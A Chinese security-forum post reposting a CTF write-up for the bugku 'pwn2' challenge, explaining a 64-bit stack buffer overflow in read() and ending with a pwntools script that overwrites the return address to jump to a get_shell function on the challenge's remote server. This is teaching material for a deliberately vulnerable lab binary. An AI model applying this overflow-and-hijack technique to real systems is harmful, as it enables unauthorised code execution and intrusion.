安全矩阵

 找回密码
 立即注册
搜索
查看: 2841|回复: 0

bugku--pwn2

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-2 16:09:11 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-4-2 16:50 编辑

原题链接:https://ctf.bugku.com/challenges#pwn2
附件:

writeup链接:https://blog.csdn.net/Casuall/article/details/94834152



writeup

这道题来自于bugku旧平台的第二道pwn题,还是比较简单的,一个典型的缓冲区溢出题。
首先查看一下文件类型,file pwn2,可以看到是64位的程序。然后用64位IDA打开,查看程序的逻辑。




可以看到这个程序的逻辑比较简单,有一个read函数,这个函数一个危险函数,可能引发缓冲区溢出漏洞
常见的危险函数还有gets、strcpy、sprintf、scanf等。
然后查看字符串,看看是否有内置的后门。




如图所示,有个cat flag的字符串,找到引用他的地方。


发现了一个get_shell函数,我们只需要对buffer进行溢出,控制跳转,跳转到get_shell函数的地址就能够获取flag了。
我们查看一下保护措施,看到并没有开启PIE,也就是地址随机化,所以可以直接用找到的地址。


首先用pwndbg找到buffer的地址,算出偏移。




在read函数那下个断点,然后跟进去,由于这是个64位的程序,他的参数依次保存在rdi、rsi、rdx、rcx、r8、r9中。所以rdi为0,rsi为buffer的地址,rdx为0x100。

我们用RBP-RSI+8就能得到偏移地址,注意64位程序下的rbp占8个字节,所以后面要加上8。还有就是对地址进行打包的时候同样是64位格式的,用p64()而不是p32()。

源码如下:
  1. from pwn import *
  2. context.log_level = 'debug'
  3. # conn = process('./pwn2')
  4. conn = remote('114.116.54.89',10003)
  5. shell_addr = 0x0000000000400751
  6. conn.recvuntil('say something?')
  7. buf_addr =  0x7fffffffe580
  8. RBP = 0x7fffffffe5b0
  9. payload = 'A' * (RBP-buf_addr+0x8) + p64(shell_addr)
  10. conn.sendline(payload)
  11. conn.interactive()
复制代码







本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:31 , Processed in 0.012619 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表